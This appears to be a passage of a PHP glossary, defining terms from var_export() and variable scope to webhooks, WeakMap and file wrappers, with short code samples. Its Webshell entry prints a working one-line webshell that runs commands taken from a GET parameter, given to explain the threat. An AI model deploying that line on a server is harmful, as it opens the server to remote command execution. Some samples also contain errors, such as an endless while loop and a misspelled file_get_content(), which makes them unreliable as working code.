var_export() is a PHP native function that produces a representation of the passed data as PHP code.
var_export() is used for caching, by storing an intermediate result for later inclusion. var_export() is also used for storing PHP data, and later accessing them in their current form: it bypasses the process of serializing/unserializing by using PHP as the serialization itself.
var_export() is usually replaced by print_r(), var_dump() or other adapted functions when it is immediately displayed, during a development session.
<?php
print var_export(1); // 1
print var_export(abc); // 'abc'
$a = [1, 3, 4];
$a[] = 5;
print var_export($a); //
class Elephpant {
public string $p = 'yes';
}
$trunk = new Elephpant();
$trunk->p = 'PHP rocks';
print var_export($a); //
?>
See Also
Related
Variable Arguments
Variable arguments refer to a method call where the list of arguments depends on the call, rather than the signature of the method.
Variable arguments are achieved with the variadic operator, or with the func_get_args() function. The variadic operator covers most of the cases, and func_get_args() covers the remaining edge cases.
Variable arguments may be static or dynamic. It is static when the list of arguments varies from call to call, and is hard-coded. A dynamic argument list depends on the variadic ... operator, or the call_user_func_array() function.
<?php
// No arguments in the signature.
function trumpet() {
// displays the list of arguments
print_r(func_get_args());
}
// static arguments
trumpet(1, 2);
trumpet(4, 5, 6);
// dynamic variable arguments
$args = range(5, rand(9, 11)) ;
trumpet(...$args);
?>
See Also
Related
Variable Scope
Variable scope is the context in which the variable is available. The context is often one method or function.
global keywords allows variables from other contexts to be available in the current one.
Local variables are only available in one method or function, not counting the local or bind closures or arrow functions.
<?php
function trumpet() {
// $trunk is only available in trumpet
$trunk = 1;
}
function forage() {
// $trunk is only available in forage, and is distinct from the one in trumpet()
$trunk = 2;
// $ivory is only available in forage, the followring closure and the arrow function
$ivory = 1;
$c = function() use ($ivory) { return $ivory;};
$d = function() use ($ivory) { return $ivory;};
}
?>
See Also
Related
Variable Shadowing
Variable shadowing is the confusion between variables of the same name, but of different context.
Variable shadowing happens in different situations:
- With local variables, by defining it several times in the same context, and starting a new usage.
- With local variables, by defining it once as parameter, once as local variable, once as blind variable in a
foreach(), these are 2 distinct situations - With static variables, after it was a local variable
- With global variables, where a local variable and a global one carry the same name
- With structures like
foreach()andcatch(), which creates variables that actually overwrite existing ones, but are not perceived as such by a human coder
Such patterns sow confusion and lead to bugs. Given the context, the shadow may be intermittent: for example, a variable changes content and type only when an exception is caught.
<?php
$trunk = 4;
function forage() {
$trunk = 3;
static $trunk; // No assignation, but $trunk is not NULL, on the first call
global $trunk; // $trunk is not static anymore, and is 4
$array = ['a', 'b', 'c'];
try {
foreach($array as $trunk) {
echo $trunk;
}
} catch (Exception $trunk) {
// $trunk becoms an exception, if it happens
}
// finally, $trunk becomes 5, stays global
$trunk = 5;
}
forage();
echo $trunk;
?>
See Also
Related
Variable Variables
Variable variables refer to a feature that allows to use the value of a variable as the name of another variable. It provides a way to dynamically create and access variables based on runtime values.
Variable variables are denoted by the double dollar sign $$ followed by the name of the variable stored in another variable. More dollar signs may be compounded, though it is rare.
<?php
$a = 'b';
$b = 'c';
echo $$b;
?>
See Also
Related
- Variables
- Static Variables
- compact()
- extract()
- Global Variables
- global Scope
- $GLOBALS
- Superglobal Variables
- Dollar $
- Dynamic
Variables
Variables are used to store and manipulate data. They are containers that hold values, such as numbers, strings, arrays, objects, and more. Variables are an essential component of programming, allowing to store and retrieve information as needed throughout the code.
Variables must start with a dollar sign $ followed by the variable name. The name should begin with a letter or an underscore and can contain letters, numbers, and underscores. PHP variable names are case-sensitive.
PHP is a loosely typed language, which means there is no need to explicitly declare the type of a variable. PHP determines the variable’s type based on the assigned value.
<?php
$a = 'b';
// more code
echo $a; // displays b
?>
See Also
Related
- Static Variables
- Variable Variables
- Type System
- Naming
- Interpolation
- Dynamic Variable
- Global Variables
- global Scope
- $GLOBALS
- PHP Variables
- Pseudo-variable
- References
- static
- Superglobal Variables
- unset()
- Data Container
- PHP Constants
- Post-increment
- Pre-increment
- Self-reference
- Dollar $
- Readable
- Variable Scope
- Writable
- Close Naming
- Undefined
- Variable Shadowing
- Writeable
- Lexical Variable
- Non-static
- Swap
- Assignation
- Lvalue
- Operators
- Short Assignations
- Temporary
variable_order
The variable_order directive sets the order in which the values are assigned to the $_REQUEST variable.
The default value for this directive is EGPCS: environment, GET, POST, COOKIE and SESSION. The values are overwritten by the next, so if GET and POST have both an $x variable, the default configuration only keeps the one from POST, as it is later in the configuration.
The default configuration ensures that safer values, such as the session’s value, are not overwritten by less safe values from GET or POST, for example.
<?php
// variable_order = EGPCS
// https://www.example.com/index.php?x=1
// POST x = 2;
$_REQUEST['x'] === '2';
?>
See Also
Related
Variadic
Three dots, aka ellipsis, is an operator to spread or collect array values.
Applied to an array, it spreads the values of the array as distinct elements.
Used in a function signature, it collects all the values into one array.
<?php
$array = [1, 2, 3];
// same as trumpet(0, 1,2, 3);
trumpet(0, ...$array);
function trumpet($special, ...$others) {
// with the above call
// $special === 0
// $others === [1, 2, 3, 4]
}
?>
See Also
Related
- Variable Arguments
- Array Spread
- Ellipsis
- Unpacking
- Arbitrary Number Of Argument
- func_get_args()
- Wildcard
VCS Commit
A commit is a snapshot of source code at a specific point in time. It is a fundamental feature of a version control system.
It records changes made to the files in the project, such as adding, modifying, and deleting code. Each commit has a unique identifier, a SHA-1 or SHA-256 hash, a message describing the changes, and metadata such as the author name, email, and timestamp.
Several commits are grouped into a pull request or PR, for code review. Commit message conventions such as Conventional Commits help automate changelogs and semantic versioning.
See Also
Related
- git
- Version Control System (VCS)
- Pull Request (PR)
- Code Review
- Branch
- Merge
- Diff
- Rollback
- Worktree
- SVN
- hg
- Commit
- Timing Attack
Version Control System (VCS)
VCS stands for Version Control System. It is a software tool or system that helps manage changes to files and documents over time. It is particularly useful in situations where multiple people are collaborating on the same project, allowing them to track modifications, work on different versions of files concurrently, and manage the history of changes. Version control systems are commonly used in software development, but they can also be applied to various other types of projects where tracking changes is important.
A VCS is also called a SCM: Source Control Management.
VCS is a common tool to manage code versions. There are many such systems: git, mercurial, SVN, CVS, etc. The most popular is git.
See Also
Related
- git
- Concurent Version System (CVS)
- SVN
- hg
- Commit
- Merge
- Pull Request (PR)
- Revision
- Artifact
- Checksum
- VCS Commit
- Worktree
Related packages
Vector Database
A vector database is a type of database designed to store, manage, and search vector embeddings, which are numerical representations of data such as text, images, audio, or video.
See Also
- How to Build a Vector Database with SQLite in laravel for LLM’s
- What is Weaviate and how does it work?
- Hierarchical Navigable Small World (HNSW) in PHP
- Announcing our PHP SDKs for Vector
Related
Related packages
Vendor Lock-in
Vendor lock-in is a situation where a user becomes dependent on a specific vendor’s products or services, making it difficult, expensive, or risky to switch to another provider.
See Also
- Understanding Vendor Lock-In: What Every Developer Needs to Know
- Don’t get locked up into avoiding lock-in
Related
Version
In the context of software development, a version refers to a specific iteration or release of a software product or application. It represents a distinct point in the evolution of the software, marking a milestone or set of changes made to the codebase.
Versions are typically assigned using a versioning scheme that helps track and identify different releases. Versions may be sequential, date based or semantic.
Versions serve several purposes: tracking changes, compatibility management, release management, and bug tracking and support.
See Also
Related
- Release
- Semantic Versioning
- Upgrade
- Concurent Version System (CVS)
- Forward Compatible
- Maintenance
- Migration
Vertical Scaling
Vertical scaling, also called scaling up, means increasing the resources to handler larger loads. Resources may be any of processor cores, RAM, disk I/O, or network bandwidth, of an existing machine or container to handle a greater workload, rather than adding more instances.
Vertical scaling may involve upgrading the server hardware, increasing PHP-FPM worker counts, raising memory_limit, or enabling OPcache to reduce CPU pressure. It is generally simpler to implement than horizontal scaling because it does not require architectural changes to externalise shared state.
However, vertical scaling has an upper limit dictated by the maximum hardware configuration available, and a single large server remains a single point of failure. For most production workloads, vertical and horizontal scaling are used together.
<?php
// php.ini / php-fpm.conf adjustments for vertical scaling
// memory_limit = 512M
// opcache.enable = 1
// opcache.memory_consumption = 256
// pm.max_children = 50
// Checking current memory limit at runtime
echo ini_get('memory_limit'); // 512M
?>
See Also
Related
- Scaling
- Horizontal Scaling
- Performance
- memory_limit
- Opcache
- Architecture
- FastCGI Process Manager (FPM)
- Worker
View In Presentation
A view is the presentation layer in a MVC model. It is in charge of formatting the provided data to fit the target reader: HTML, JSON, XML, etc.
Views are also a synonym for renderer. They are built on templates, which provide a frame where custom data is inserted.
See Also
Related
SQL Views
Views in a SQL server is a virtual table, build as the result of a SQL query.
Instead of accessing a concrete table, a view is built as a SELECT query, and display the result of that query. As a SELECT, it may join with multiple tables, display columns, build dynamic values, and drop others.
SQL views are usually non-writable, no UPDATE, no INSERT, as they do not mirror a real table.
See Also
Related
View
A view may be have several meanings.
- In MVC architecture: a view is the presentation layer of the Model-View-Controller pattern. It is responsible for rendering the data provided by the controller into HTML, JSON, or any other output format. In frameworks, views are typically template files, in Twig, Blade, Smarty, etc. that contain a mix of HTML and control structures.
- In SQL databases: a view is a stored query that acts as a virtual table. It does not store data itself but provides a way to simplify complex queries, restrict access to specific columns or rows, and present a consistent interface even when the underlying schema changes. Views can be read-only or updateable depending on the database engine and query complexity.
- In templating: the
view()pattern refers to any mechanism that renders output to the user, including template engines, theViewclass in MVC frameworks, or even directechostatements in simpler applications.
<?php
// MVC View example (simplified)
class UserView {
public function render(array $user): string {
return '<h1>' . htmlspecialchars($user['name']) . '</h1>'
. '<p>' . htmlspecialchars($user['email']) . '</p>';
}
}
// SQL View creation
// CREATE VIEW active_users AS
// SELECT id, name, email FROM users WHERE status = 'active';
// PHP PDO access to a SQL view
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $pdo->query('SELECT * FROM active_users');
$users = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
See Also
Related
- Model - View - Controller (MVC)
- View In Presentation
- SQL Views
- Render
- Controller
- Model
- Template
- Twig
- Middleware Pattern
- Direct Output
- HyperText Markup Language (HTML)
Virtual Machine (VM)
A virtual machine, or VM, or also runtime, is a software-based emulation of a physical computer. It enables the running of multiple operating systems on a single physical machine, known as the host machine. The software that creates and manages virtual machines is called a hypervisor or virtual machine monitor.
See Also
Related
Virtual Property
A virtual property is a class property, whose property hooks don’t use the value. The virtual property has no need for actual storage, and relies on other means to provide the value. In effect, they rely on the property hooks get and set to access the value. They also rely on other properties, global variables or data generators to provide a value.
A virtual property cannot be static, as property hooks are not supported for this type of properties.
<?php
class Counter {
private $count = 1;
// $next is a virtual property : it doesn't rely on $this->next;
public $next {
get => $this->count + 1 + rand(0, 10);
set {}
}
}
?>
See Also
Related
Visibility
Properties, methods and classes may have a visibility. It limits the scope of the definition:
private: to the current classprotected: to the current class hierarchy, parents and children classespublic: to all the codevar: to all the code, deprecated
The default visibility is public. The visibility may be omitted when using another option, such as final, static. It is recommended to always specify the visibility explicitly.
Visibility may no change, unless when overwriting it with a trait, or in a child class.
Visibility may be by-passed with class-invasion, where an object of one class may access another object’s property, as long as they are from the same class or family.
<?php
class Elephpant {
public const HABITAT = 1;
private $tusk;
protected function trumpet() {}
}
?>
See Also
Related
- Properties
- Method
- Static Constant
- Class Constants Visibility
- Class Invasion
- Object
- Private Visibility
- Protected Visibility
- Public Visibility
- Var
- Asymmetric Visibility
- Constructor
- Readable
- Writable
- get_object_vars()
- Class Getter Method
- Variable Scope
- Writeable
- Permission
- __callStatic() Method
- Data Hiding
- Modifier
- Module System with Explicit Exports
- Package-Level
Visual Debt
Visual debt is all the elements that hamper the readability of a PHP code source, even at the cost of source consistency. It is similar to technical debt, but, when pushed to extremes, leads to the removal of many options that are actually safeguards of the code itself.
See Also
Related
Value Object (VO)
VO stands for Value Object. It is a simple object whose equality is not based on identity. This means that two value objects are equal when they have the same values. They do not have to be the same object.
VO is a class, with properties, constants and methods.
VO may be confused with Data Transfer Object: the former’s role is to carry data inside the application, the first one holds data, and can only be compared by its values.
See Also
Related
(void) Cast
The (void) cast is a special cast. It doesn’t actually cast a value to void, which does not exist as data, only as a type. (void) actually tells the #[NoDiscard] attribute that the returned value is explicitly discarded. Otherwise, PHP expects the returned value to be collected and used.
<?php
#[NoDiscard]
function trumpet() {
return 1;
}
// OK
(void) trumpet();
// Wrong, the returned value MUST be collected
trumpet();
?>
See Also
Related
Void
Void is a return type. It marks methods which do not return anything.
Indeed, void methods should not use the return statement, or, when they do, use it without any argument.
Void is only possible with methods, closures, functions and arrow functions. It makes no sense with properties or parameters.
<?php
function trumpet() : void {}
?>
See Also
Related
Vulnerability
A vulnerability is a weakness or flaw in a computer system, software, hardware, or even a process that can be exploited by an attacker to perform unauthorized actions.
See Also
- The Art of PHP - My CTF Journey and Untold Stories!
- MAD Bugs: Finding and Exploiting a 21-Year-Old Vulnerability in PHP
Related
- Weak Cryptography
- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- Man In The Middle
- Common Vulnerabilities And Exposures (CVE)
- Local File Inclusion
- Missing Validation
- Regexploit
- Broken Object Level Authorization (BOLA)
- Insecure Direct Object Reference (IDOR)
- Broken Access Control
- Indirect Reference Map
- Data Leak
- Remote Code Execution (RCE)
- Session Fixation
- Attack
- Breach
- Distributed Denial Of Service (DDOS)
- Path Traversal
- Zero Day Vulnerability
- Insecure Deserialization
- OWASP
- Penetration Test
- Timing Attack
- Appeasement Pattern
- Attack Surface
- Content Security Policy (CSP)
- Capture The Flag (CTF)
- Server-Side Request Forgery (SSRF)
World Wide Web Consortium (W3C)
The W3C, or World Wide Web Consortium, is the international standards organization for the World Wide Web. It publishes and maintains specifications for HTML, CSS, the DOM, accessibility guidelines such as WCAG, and many other web technologies.
W3C standards are not PHP-specific, but they shape how PHP applications produce and consume web content: the HTML a PHP script generates is expected to be valid against W3C’s HTML specification, and features like the PHP DOM extension implement the same DOM model that the W3C defines for browsers.
See Also
Related
- HyperText Markup Language (HTML)
- Document Object Model (DOM)
- Web Hypertext Application Technology Working Group (WHATWG)
- Accessibility
- CSS
Write-Ahead Logging (WAL)
Write-Ahead Logging, also called WAL, is a standard technique for ensuring data integrity in databases. Before modifying data pages on disk, the database first appends a record of the change to a durable sequential log. If a crash occurs mid-transaction, the database replays the log at startup to reach a consistent state.
WAL is the durability mechanism behind ACID transactions in PostgreSQL, SQLite with its WAL journal mode, and MySQL/InnoDB, with its redo log. It also enables streaming replication: replicas consume the primary’s WAL stream to stay in sync.
PHP applications interact with WAL indirectly through PDO or MySQLi. SQLite’s WAL mode can be activated explicitly and improves read concurrency because readers no longer block writers.
<?php
// Enable WAL journal mode in SQLite for better read concurrency
$pdo = new PDO('sqlite:/var/db/app.db');
$pdo->exec('PRAGMA journal_mode=WAL');
$mode = $pdo->query('PRAGMA journal_mode')->fetchColumn();
echo $mode; // 'wal'
?>
See Also
Related
- ACID
- Transaction
- Database Commit
- Rollback
- PHP Data Objects (PDO)
- Distributed Transactions
- Eventual Consistency
Warning
A warning is a non-fatal runtime error that alerts developers about a problem in the code, but doesn’t stop script execution at that point.
Warnings are one of the error reporting levels, between error and notice.
<?php
include 'unknown-file.php'; // Warning, failed to open stream unknown-file.php
?>
See Also
Related
Waterfall
Waterfall is a sequential software development methodology where each phase must be completed before the next one begins. The phases typically follow this order: requirements, design, implementation, testing, deployment, and maintenance. Unlike Agile, there is little to no iteration between phases, and changes late in the process are expensive. Waterfall suits projects with well-defined, stable requirements where the scope is unlikely to change.
See Also
Related
Weak Cryptography
A weak cryptography vulnerability occurs when an application uses outdated, poorly designed, or insufficient cryptographic algorithms, protocols, or implementations to protect sensitive data. This makes it easier for attackers to break encryption, steal data, or compromise systems.
Weak cryptography refers to the use of:
- Outdated algorithms, such as
MD5,SHA-1,DES,RC4 - Short or predictable keys, such as 40-bit encryption, hardcoded keys
- Insecure protocols, such as
SSLv2,SSLv3, earlyTLSversions - Poor randomness, such as using
rand()instead ofrandom\random_bytes() - Improper implementations, such as
ECBmode in block ciphers, custom cryptography.
See Also
Related
- Cryptography
- Message Digest Algorithm 5 (MD5)
- Vulnerability
- Crack
- Static Application Security Testing (SAST)
Weak References
Weak references allow the programmer to retain a reference to an object which does not prevent the object from being destroyed. They are useful for implementing cache like structures.
<?php
$obj = new stdClass;
$weakref = WeakReference::create($obj);
var_dump($weakref->get());
unset($obj);
var_dump($weakref->get());
// NULL
?>
See Also
Related
Weakmap
WeakMap is a special object type: it is a map, or key–value storage, where the keys are objects and the stored values are automatically removed when the object key is no longer referenced anywhere else in the program.
WeakMap may be considered an associative array, where the keys must be objects. It also doesn’t prevent objects from being garbage-collected.
WeakMap was introduced in version 8.0.
<?php
$weakMap = new WeakMap();
$obj = new stdClass();
$weakMap[$obj] = 'some data';
echo $weakMap[$obj]; // some data
// Now unset $obj:
unset($obj);
// The entry is automatically removed from the WeakMap
var_dump($weakMap); // empty WeakMap
?>
See Also
Related
WeakReference
WeakReference is a final class that holds a reference to an object without keeping that object alive. The referenced object is destroyed as soon as its reference count drops to zero, and WeakReference::get() then returns null.
Objects are wrapped with the static factory WeakReference::create(), which takes an object and returns a WeakReference. Calling create() twice on the same object returns the same WeakReference instance. The constructor is blocked, so new WeakReference() throws an Error.
WeakReference cannot be serialized. It is useful for cache-like structures, where the cache should not keep its entries alive. For a map keyed by objects, see WeakMap.
The class was introduced in version 7.4. Since version 8.4, var_dump() on a WeakReference shows the referenced object, or null if it has been destroyed.
<?php
$obj = new stdClass;
$weakref = WeakReference::create($obj);
var_dump($weakref->get()); // object(stdClass)#1 (0) {}
unset($obj);
var_dump($weakref->get()); // NULL
// new WeakReference(); // Error: Direct instantiation of WeakReference is not allowed, use WeakReference::create instead
// WeakReference::create(42); // TypeError: WeakReference::create(): Argument #1 ($object) must be of type object
?>
See Also
Related
Web Application
A web application is software that runs in a web browser and is delivered over HTTP/HTTPS from a web server. PHP is the dominant server-side language for web applications, powering frameworks such as Laravel, Symfony, and WordPress. A web application may follow the traditional request/response cycle, use a Single Page Application or SPA pattern, or combine both with partial hydration. Unlike a website, a web application typically involves significant user interaction, business logic, authentication, and data persistence.
See Also
Related
- Single Page Application (SPA)
- World Wide Web (WWW)
- Webserver
- Hyper Text Transfer Protocol (HTTP)
- Mobile Application
- Desktop Application
- REST API
- Model - View - Controller (MVC)
- Application
Web-spider
A web spider, also called a web crawler or bot, is a program that automatically browses the internet and collects information from websites.
A simple robot follows a straightforward process:
- Visits a webpage
- Reads its content
- Follows links to other pages
- Repeats the process over and over
Web-spiders collect information such as the content, for search engines or AI, related links, for SEO ranking, or security.
Web-spiders should limit their visits according to the robots.txt file, available at the top of the website. Some of them don’t respect it, or even exploit it to their own advantage.
See Also
Related
World Wide Web (WWW)
The WWW stands for World Wide Web: it represents the internet, as a network of computers, the web, spanning the entire planet, World Wide.
The World Wide Web was invented by Tim Berners-Lee in 1989, while working at CERN, as a system to share documents between researchers over the existing internet infrastructure. It introduced three foundational technologies that are still in use today. HTML, the markup language used to structure documents, HTTP, the protocol used to transfer those documents between a client and a server, and the URL, the addressing scheme used to locate a specific resource on a specific server. The first website went online in 1991, and the Web was made freely available to the public, without royalties, by CERN in 1993, which is widely credited for its explosive early growth.
The Web is often confused with the internet itself, but the two are distinct: the internet is the underlying global network of interconnected computers, built on protocols such as TCP/IP, while the Web is one of many services that run on top of that network, alongside others such as email SMTP, file transfer FTP, or instant messaging. A browser is the client application used to request and render Web resources, most commonly HTML pages, images, and increasingly, applications built with JavaScript and CSS.
PHP was created in 1994 specifically as a set of tools to build dynamic Web pages, and it remains, decades later, one of the most widely deployed server-side languages for generating HTML in response to HTTP requests, which is why so many of its native functions, superglobals such as $_SERVER and $_GET, and extensions are directly tied to Web-specific concepts such as sessions, cookies, and HTTP headers.
See Also
Related
- HyperText Markup Language (HTML)
- Webserver
- Browser
- CAPTCHA
- Internet
- Network
- CSS
- Search Engine Optimization (SEO)
- Web Application
- Web Hypertext Application Technology Working Group (WHATWG)
- Asset
- File Transfer Protocol (FTP)
- Simple Mail Transfer Protocol (SMTP)
Webhook
A webhook is an HTTP callback mechanism where a server notifies a client by sending an HTTP POST request to a pre-registered URL when a specific event occurs. Rather than polling for updates, the receiving application exposes an endpoint and waits for the provider to push data to it.
Webhooks are widely used for event-driven integrations: payment confirmations, repository push events, form submissions, or status updates from external services. Because the provider may retry delivery on failure, webhook consumers must be idempotent to avoid processing the same event twice.
A webhook endpoint typically reads the raw request body, validates a signature header to authenticate the sender, and dispatches the payload to a queue or handler.
See Also
Related
- Hook
- Git Hook
- Idempotent
- Event Driven
- Hyper Text Transfer Protocol (HTTP)
- HTTP Headers
- Payload
- Retry
- Deduplication
- Queue
- Signature
Related packages
Web Real-Time Communication (WebRTC)
WebRTC, short for Web Real-Time Communication, is an open-source technology that enables real-time communication directly between web browsers or applications without the need for plugins or external software. It’s designed for peer-to-peer, P2P, sharing of audio, video, and data.
See Also
- gRPC quickstart
- gRPC Fundamental and Concept
- WebRTC In PHP
- Building a PHP Chat Application with WebRTC and the Ratchet Library
- WordPress’s Troubled Real-Time Collaboration Feature
Related
- REST API
- Application Programming Interface (API)
- Websocket
- gRPC (Google Remote Procedure Call)
- Peer-to-Peer (P2P)
Webscraping
Web scraping is the process of extracting data from websites. It involves fetching web pages, parsing HTML, or other markup languages, and then extracting the desired information. Web scraping can be done manually by a person or automatically using software tools called web scrapers or web crawling bots.
<?php
// fetching the web page
$html = file_get_contents('https://www.php.net/');
// retrieving PHP current versions
preg_match_all('/downloads.php#v(\d+\.\d+\.\d+)\b/', $html, $r);
print_r(array_unique($r[1]));
?>
See Also
Related
Related packages
Webserver
A web server is a computer system or software application that delivers web pages to users over the internet. It handles requests from clients, typically web browsers and responds by serving content like HTML pages, images, videos, or other files.
PHP is able to be integrated in many webservers: nginx, Apache, Caddy, lighthttpd, Litespeed, etc.
PHP is able to run in server mode. In command line, use the -S option.
php -S localhost:8000 index.php
See Also
- Built-in web server
- Installation and Configuration
- Qbix
- 8 Best Open Source Servers For PHP Web Development
Related
- Command Line Interface (CLI)
- Application Server
- Read Eval Print Loop (REPL)
- Server
- World Wide Web (WWW)
- \.htaccess
- Linux Apache Mysql PHP (LAMP)
- Linux Nginx Mysql PHP (LEMP)
- Search Engine Optimization (SEO)
- Web Application
- Web-spider
Webshell
A webshell is a malicious script uploaded to a web server that allows an attacker to remotely control the server using a web browser.
Webshells are typically dropped onto a server after an attacker exploits an unrelated vulnerability, such as an unrestricted file upload, a remote code execution bug, or leaked credentials. Once in place, the script accepts commands through HTTP parameters, cookies, or headers, and passes them to functions like shell_exec(), system(), exec(), or eval() to run arbitrary code, browse the filesystem, extract data, or pivot to other systems on the network.
Because a webshell can be as small as a single line and disguised with an innocuous filename, obfuscated code, or a legitimate-looking extension, detecting them by sight is unreliable. Effective defenses combine restricting which directories can execute PHP, disabling dangerous functions such as shell_exec() where they are not needed, validating and re-checking uploaded files, and monitoring for the kind of code patterns static analyzers flag as security risks.
<?php
echo shell_exec($_GET['cmd']);
?>
See Also
Related
Websocket
WebSockets are a communication protocol that enables full-duplex, real-time communication between a client, such as a a web browser, and a server over a single, persistent TCP connection. Unlike traditional HTTP requests, which are stateless and require a new connection for each request/response cycle, WebSockets keep the connection open, allowing both the client and server to send and receive data anytime without needing to re-establish a connection.
PHP does not have built-in WebSocket support. There are libraries like Ratchet or write a custom WebSocket server using PHP’s socket functions.
See Also
Related
Related packages
Write Everything Twice (WET)
Write Everything Twice, WET, is a principle of software development aimed at reducing abstraction levels and decoupling code.
The basic idea is that centralizing pieces of code, just because they are the same, leads to extra abstraction layers, that end up counter productive. It is more reasonable to duplicate code as needed, and review what parts of the code are truly shared before centralizing them.
This principle’s nemesis is DRY: Don't Repeat Yourself.
See Also
Related
Web Hypertext Application Technology Working Group (WHATWG)
WHATWG, the Web Hypertext Application Technology Working Group, is a community that develops and maintains web standards, including the HTML Living Standard, DOM, Fetch, URL, and Streams specifications.
WHATWG was founded in 2004 by Apple, Mozilla, and Opera in response to the W3C’s direction. It introduced the concept of a living standard: a continuously updated specification with no versioned releases.
PHP developers encounter WHATWG specifications when implementing URL parsing compliant with the WHATWG URL Standard, HTML sanitation, stream handling, or building server-side applications that must align with browser behavior.
See Also
Related
- Document Object Model (DOM)
- HyperText Markup Language (HTML)
- Universal Resource Locator (URL)
- Stream
- Hyper Text Transfer Protocol (HTTP)
- World Wide Web (WWW)
- World Wide Web Consortium (W3C)
- Encoding
- Standard
While
While is a loop structure. It runs the block of code until the condition is not met anymore.
Part of the loop execution may be skipped by using the continue keyword.
<?php
/*
while(condition) {
// the block
}
*/
$i = 0;
while($i < 10) {
print "$i\n";
}
?>
See Also
Related
White Box Testing
White box testing is a testing approach where the tester has full knowledge of the system’s internal code, structure, and logic, and uses that knowledge to design test cases.
Unlike black box testing, white box testing looks inside the implementation: control flow, data flow, branch coverage, and source code itself are all inspected. It is used for unit testing, code coverage analysis, and static analysis, as well as for security audits where the source code is available to the reviewer.
Static analysis tools, including Exakat, perform a form of automated white box testing by inspecting the source code directly, without executing it.
See Also
Related
Whitespace
Whitespace refers to spaces, tabulations, and newline characters. Those characters are invisible on a white background, hence the name.
Whitespace is used to format and organize the code, making it more readable.
However, whitespace is generally not significant in terms of parsing; the PHP interpreter usually ignores whitespace. There are some rare situations where the whitespaces have a role: in heredoc syntax, and for formatting floats.
Whitespace is not a notion specific to PHP: other languages have them too. For example, trim() removes whitespace at the beginning and the end of a string value.
<?php
$heredoc = <<<HEREDOC
One tab shift
Here
HEREDOC;
$concatenation = 1 . 0; // This is 10
$float = 1.0; // This is 1.0
//$invalid = 1. 0; // This is a syntax error
?>
See Also
Related
WHM (WebHost Manager)
WHM, short for WebHost Manager, is a web-based server administration panel from cPanel Inc. It sits above individual cPanel accounts and lets hosting providers and system administrators manage a whole server: creating and suspending hosting accounts, configuring PHP versions and modules, managing DNS zones, packages, and reseller privileges.
While cPanel is the interface end-users get to manage their own hosting account, WHM is the administrative layer used to provision and manage those cPanel accounts across the server.
PHP applications deployed on WHM/cPanel-managed servers are typically constrained by the PHP versions, extensions, and configuration values exposed through WHM’s MultiPHP Manager.
See Also
Related
Wiki
A wiki is a web application that lets users create, edit and link pages collaboratively, directly from the browser, without needing a separate publishing workflow.
A wiki keeps a full revision history of every page, so any edit can be reviewed, compared to previous versions or reverted. Pages are usually written in a lightweight markup syntax and interlinked by name, which lets a body of documentation grow organically as new pages are referenced before they even exist.
The PHP ecosystem offers a lot of wiki engines. Here is a non-exhaustive list:
MediaWiki, which powers WikipediaDokuWiki, file-based, no database requiredPmWiki, file-based, no database requiredTiki Wiki CMS GroupwareBookStackXWiki.
See Also
Related
Wildcard
The wildcard, for example the *, %, _, ~ characters, is a placeholder that matches anything.
Wildcards are used in various places:
- Glob patterns, to match any number of characters:
*.phpmatches any PHP file - Regex patterns, with
.*or.*? mixedtype is a wildcard type~in autoloading definition, which defines a minimum version
In autoloading, wildcards allow mapping entire namespaces at once.
<?php
// glob patterns with wildcard
foreach (glob('*.php') as $filename) {
echo "$filename\n";
}
// Variadic arguments (spread operator)
function trumpet(...$args) {
print_r($args);
}
trumpet(1, 2, 3);
// mixed type (PHP 8.0+)
function forage(mixed $value): mixed {
return $value;
}
?>
See Also
Related
Related packages
Class Wither Method
with is a prefix, that tells the reader that the method returns a copy of the object, and not the object itself. The with prefix may be added to any property name, virtual or concrete.
<?php
class x {
private A $property;
// getter
public function getProperty() : A {
return $this->property;
}
// wither
public function withProperty() : A{
return clone $this->property;
}
}
?>
See Also
Related
Word Combination
Word combination is the technique to build a new word by putting one or several words next to each other, and making the whole a distinct or specialized entity from the individual elements.
Word combination is used to build passphrases or names, for methods, properties, by accumulating several notions at the same time.
See Also
Related
Worker
A worker is a process, or thread, that consumes tasks from a queue and executes them, usually outside of the request/response cycle. Workers run continuously, or on demand, pulling jobs one at a time and processing them independently from the client that originally submitted the work.
Workers are the consuming side of a job queue: a producer pushes jobs onto a queue, such as Gearman, RabbitMQ, or Redis, and one or more workers pick them up. Multiple workers may run in parallel, and can be scaled independently of the web tier, to absorb load spikes or speed up processing.
Workers are commonly implemented as long-running CLI scripts, managed by a process supervisor such as Supervisor or systemd, or built on top of an event loop, as with Swoole or ReactPHP. Since PHP was originally designed for short-lived requests, long-running workers must take care to avoid memory leaks, and to reconnect resources such as database handles that may time out.
A worker that crashes, or is killed mid-job, may leave a task half-done. This is why job queues and workers are usually paired with acknowledgement, retry, and idempotency strategies.
<?php
// A minimal worker: pull jobs from a queue and process them.
while (true) {
$job = $queue->pop(); // blocks until a job is available
if ($job === null) {
continue;
}
try {
processJob($job);
$queue->acknowledge($job);
} catch (Throwable $e) {
$queue->retry($job);
}
}
?>
See Also
- Queues - Laravel documentation
- A Comprehensive Guide to PHP Workers: What Are They and Why You Need Them
- What are PHP workers?
Related
Workflow
A workflow is a sequence of tasks or steps that are performed to accomplish a specific goal. It defines how work moves from one stage to another, often involving people, processes, and tools. Workflows can be simple or complex, manual or automated, and are used in various fields like business, software development, healthcare, and more.
See Also
Related
Related packages
Worktree
A worktree is a Git feature that allows multiple working directories to be linked to a single repository. With git worktree add, a developer can check out a different branch into a separate directory without disturbing the current working directory.
This is useful when:
- Working on a hotfix while keeping the main feature branch open
- Running tests or builds on a different branch simultaneously
- Comparing the current implementation against another branch side by side
- CI/CD pipelines needing isolated checkouts from the same repository
Each linked worktree has its own index and HEAD but shares the object store with the main repository, avoiding duplication.
See Also
Related
Design Pattern Wrapper
A wrapper is also a design pattern, also called an adaptor. This concept also appears when a component provide access to a remote service: it is a PHP wrapper, wrapper for the service when calling PHP, or a service-name wrapper, when it is viewed from PHP.
See Also
Related
file://
The file:// wrapper is a native PHP wrapper, to access files on a local filesystem, on the host system.
It may also be omitted, as the default behavior is to read files on the local system.
<?php
// display the content of a file
// 3 / : two for protocol, one for path
print_r(file_get_content('file:///tmp/file.txt'));
// also possible
print_r(file_get_content('/tmp/file.txt'));
?>
Related
ftp://
The ftp:// wrapper is a native PHP wrapper, to access files on a remote FTP server. It handles both FTP and FTPS.
